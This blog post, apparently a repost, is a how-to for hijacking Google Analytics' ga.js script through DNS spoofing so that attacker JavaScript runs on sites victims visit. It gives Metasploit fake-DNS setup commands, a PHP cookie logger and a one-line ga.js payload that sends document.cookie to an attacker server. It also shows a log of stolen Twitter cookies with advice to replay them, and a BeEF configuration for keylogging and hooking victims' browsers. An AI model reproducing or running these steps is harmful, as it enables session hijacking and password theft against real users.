The Rambling Intro
This is a fun one I came up with while looking at a site this week. I
feel sure that somebody else must have come up with this before me, but
I’ve never seen anyone blog about it or anything, so here goes.
The back story is that somebody posted a link to some “password
strength checker” website, in which of course you type your password and
it tells you how long it thinks it would take someone to crack it.
Naturally, I find this to be a dumb idea, as you’re typing your password
into some random website of some random guy you don’t know, and it
didn’t even use SSL.
The site author explains that this isn’t a problem, because all the
calculations are done in javascript, and no data is ever actually sent
to his website. Alright, fine, even though the vast majority of users
will never do this, I checked the code, and sure enough, no data goes to
him, it’s all done in the browser. But… wait, he does use Google
Analytics. Interesting.
Now the problem with the idea that it’s okay to type in a password on
a website that doesn’t use SSL because it doesn’t ever send the data,
is that the page can be manipulated. An attacker might change the form
to actually submit the data somewhere, or he might inject javascript to
actually record each key press and do the same, etc. The difficult part
about pulling off an attack like that is that normally it means the
attacker must have an actively maintained position as a
man-in-the-middle for each target, replacing HTML content on the fly,
and hoping he doesn’t noticeably break anything.
But what if there happened to already be a standalone chunk of
javascript already included on roughly half the websites people use in
the world? What if we could hijack that chunk of javascript with a fair
amount less effort than keeping ettercap in place 24/7?
The Requirements
Alright, to pull this off, we still need a few things already
accomplished. The only tough thing you have to pull off is getting
control of the target’s DNS somehow. More specifically, we need to at
least control the resolution to a single specific DNS record. There’s
dozens of ways to do this, including, but not limited to :
- Actually being a man-in-the-midde, and using dnsspoof, ettercap, what have you.
- Compromising the victim’s DNS server. Less likely if they’re using a
major provider, but maybe you’re pen-testing an organization that runs
one internally.
- Add a record to the victim’s hosts file. This obviously requires
some access already, but it would give you some additional permanence on
a box, and help escalate you past what you have access to without their
web passwords. It’s also not likely to be noticed if the victim doesn’t
have some kind of file integrity tripwire set up.
- Changing the DNS server on a router. Easy to do on your average home
wireless router run by the inept, and still possible if an organization
hasn’t properly secured their routers.
- Run a fake DHCP server, and hand out your DNS server’s address to clients. This can go along well with PwnPlugs, for example.
So once we can do that, we just need to get their browser to believe
that “www.google-analytics.com”, aka
“www-google-analytics.l.google.com”, is at an IP address where we have a
web server running on port 80.
Interestingly, Google makes this easy for us, in that we don’t have
to worry about SSL, or certificate errors. We probably don’t have a way
to make our web server’s SSL certificate match the one for Google’s, but
that’s okay. In the javascript included on web pages that use it,
Google Analytics actually checks to see if the site is being accessed
via SSL, and if so, it calls the Analytics code from an entirely
different host name, ssl.google-analytics.com, rather than www.
This means that if the victim accesses a site using Google Analytics
over SSL from the start, we don’t get access, but the user also doesn’t
get alerted. However, if the site initially loads unencrypted, we can
hijack things and replace any links to https with regular http links
from then on out.
The Fake DNS Server
For this demonstration, I’m going to assume we have successfully
changed the DNS server of our victim. Again, this isn’t strictly
necessary, but it’s the method I’m going to discuss in this post. As
always, there are a dozen ways to do even this step, but in this
instance I’m going to use a modified version of a modified version of
the fake DNS server in the ever glorious
Metasploit.
The problem with the fake DNS server included in Metasploit is that it will respond to
all
DNS queries with a single IP address, with the exception of specified
domains which it will resolve normally. We want to do the exact
opposite: Resolve all queries normally, with the exception of a
specified domain, which we will be hijacking. Fortunately, a modified
version of the Metasploit DNS server has been posted
here, and it will do just that. Unfortunately, it’s broken.
Since that module was posted years ago, a lot of things have changed
in Metasploit, and the module doesn’t work quite right now. The good
news is, it’s easy to fix. Download the file from his website from
here, or my mirror from
here.
Once you have the module, put it into your “modules/auxiliary/server/”
directory inside Metasploit. In my case, that makes it
/opt/framework3/msf3/modules/auxiliary/server/mitm_fakedns.rb, but yours
may be different, especially if you installed MSF after it hit version
4.
Now you can either try and fix it yourself so that Metasploit doesn’t
complain about it being formatted wrong, or you can just download my
patch for it and fix it.
curl http://www.seventhoctober.net/mitm_fakedns.rb.patch | patch mitm_fakedns.rb
Metasploit should now be able to load and work with the module. The
module requires two options set, one for the legitimate DNS server to
forward most requests to, and one for a file containing a list of
regular expressions to tell the module which DNS responses to mess with.
For the first, pick any DNS server you like. For the second, create a
file like so, replacing 127.0.0.1 with your external IP address :
echo 127.0.0.1,www-google-analytics.l.google.com > /root/hosts_spoof
You may note that this is not exactly a record for
www.google-analytics.com. This threw me off a little bit at first, until
I realized that this module does not run the given regex against the
DNS
requests, but rather the DNS
responses from the
legitimate server. Since a request for www.google-analytics.com actually
returns a canonical name of www-google-analytics.l.google.com, we must
make that our expression to match and be modified.
Incidentally, the URL looks vaguely like it might be a load balanced
response, but I was unable to get any other answers back in the short
time that I was messing with it. Keep that in mind, and in case yours
doesn’t work for some reason, check that this is the response you are
getting. If anybody knows more about that, I’d be interested in hearing
from you.
Next, start the DNS server module with something like the following :
msfcli auxiliary/server/mitm_fakedns filename=/root/hosts_spoof realdns=8.8.8.8 E
And check that it is working with a query like :
dig @127.0.0.1 www.google-analytics.com
If all went well, it should return your own IP address in the record.
The Evil JavaScript
At this point, you can run any old web server with any old villainous
javascript, so long as the server runs on port 80, and the javascript
is hosted at /ga.js. Just about every website that uses Google Analytics
will happily execute your javascript in the context of the page that
loads it. Have fun!
Being that this is both an explanatory and a demo post, let’s
specifically discuss a couple methods of actually abusing this
technique. Firstly, let’s do a simple cross site cookie stealer. Since
our javascript is running on the pages of the victims, we have access to
the cookies of any page it runs on. As it turns out, this includes
sites like Twitter, and WordPress.
Assuming you have a web server than can run PHP, create a couple of files that look something like the following :
[root html]# cat xss.php
$xssLog = “xss.log”;
$filehandler = fopen($xssLog, ‘a’) or die(“Cannot open file.”);
$writeString = $_SERVER["REMOTE_ADDR"] . ” – ” .
$_SERVER["HTTP_USER_AGENT"] . ” – Referrer: ” . $_SERVER["HTTP_REFERER"]
. ” – Cookie: ” . $_GET["cookie"] . “\n”;
fwrite($filehandler, $writeString);
fclose($fh);
?>
[root html]# cat ga.js
new Image().src=”http://YOUR_SERVER_ADDRESS/xss.php?cookie=”+encodeURI(document.cookie);
Next you’ll want to create a file for stuff to be logged to, and make
sure the web server can write to it. This command may vary, based on
your web server, or you can just chmod it. This is probably a slightly
safer approach though :
[root html]# touch xss.log
[root html]# chown apache:apache xss.log
Once these are up, any time a victim visits any web page that uses
Google Analytics, you should automatically get a record of it along with
their cookies.
[root html]# cat xss.log
12.120.184.8 – Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0.1)
Gecko/20100101 Firefox/5.0.1 – Referrer: http://twitter.com/ – Cookie:
k=10.25.435.167.1321234567890349; guest_id=v1%3A132061234567865685;
original_referer=8bhz%2B%2ByebvgRkMMFCXx%2FCUOEvDoVeFTl;
twid=u%3D412345908%7CTcf4XaVwruflsKyq5xgPpcA%2mwNw%3D;
twll=l%3D1234616679; lang=en; js=1
Using Burp, or whatever your favorite tool is, you can use these cookies
to become your victim on whatever website they browsed to.
The BeEF
Have you heard of
BeEF?
Now you have. Basically put, BeEF is a tool designed to help security
people demonstrate exactly how serious these kinds of attacks can be. It
acts as a web server, hosting a control panel for you, and some
javascript for your victims. BeEF lets us get a little more…
interactive.
BackTrack comes with BeEF installed, and it might actually work out
of the box. Mine didn’t, and yours probably won’t, but I’m not helping
you fix yours here if it’s broken. Come back when it’s working. :-)
Before we start BeEF, we need to make a couple changes to the config.
On my system, the config file is located at
“/pentest/web/beef/config.yaml”. Find and open that file. Find the http
section, and replace the port and hook_file to look like so :
http :
host: “0.0.0.0″
port: “80″
# if running behind a nat set the public ip address here
#public: “”
dns: “localhost”
panel_path: “/ui/panel”
hook_file: “/ga.js”
hook_session_name: “BEEFHOOK”
session_cookie_name: “BEEFSESSION”
Now start up BeEF…
root@Wraith:/pentest/web/beef# ./beef
[15:14:23][*] Browser Exploitation Framework (BeEF)
[15:14:23] | Version 0.4.2.11-alpha
[15:14:23] | Website http://beefproject.com
[15:14:23] | Run ‘beef -h’ for basic help.
[15:14:23] |_ Run ‘svn update’ to update to the latest revision.
[15:14:25][*] BeEF is loading. Wait a few seconds…
[snip...]
[15:14:29][+] running on network interface: 127.0.1.1
[15:14:29] | Hook URL: http://127.0.1.1:80/ga.js
[15:14:29] |_ UI URL: http://127.0.1.1:80/ui/panel
[snip...]
As you hopefully noticed, you can find your control panel at
http://127.0.1.1:80/ui/panel.
I’ll leave you to figure out the default credentials, but you should
probably change them anyway, in “beef/extensions/admin_ui/config.yaml”.
Once you’re in, as soon as a victim has browsed to a site that uses
Google Analytics, you should see them show up in your control panel.
Once a victim is in your control panel, you can browse through the
commands tab to see all the nasty things you can do to them. Among such
possibilities are:
- Keylogging for everything typed on the page, including passwords.
- Page redirection, including the ability to redirect using an iFrame, so as not to change the URL in the address bar.
- Rickrolling. See previous.
- Sending Java payloads to the client.
- Making HTTP requests from the victim’s browser.
- Stealing cookies associated with the page.
- Making Skype calls.
- Getting the current geographical location of the victim.
- Determining if the victim is using Tor.
- Determining if the victim is signed into social networks.
- Running arbitrary raw javascript.
… and lots more. BeEF is fun, and it’s just one of the javascript exploit frameworks out there. Happy hunting!
Sumber :
http://adf.ly/3cEbH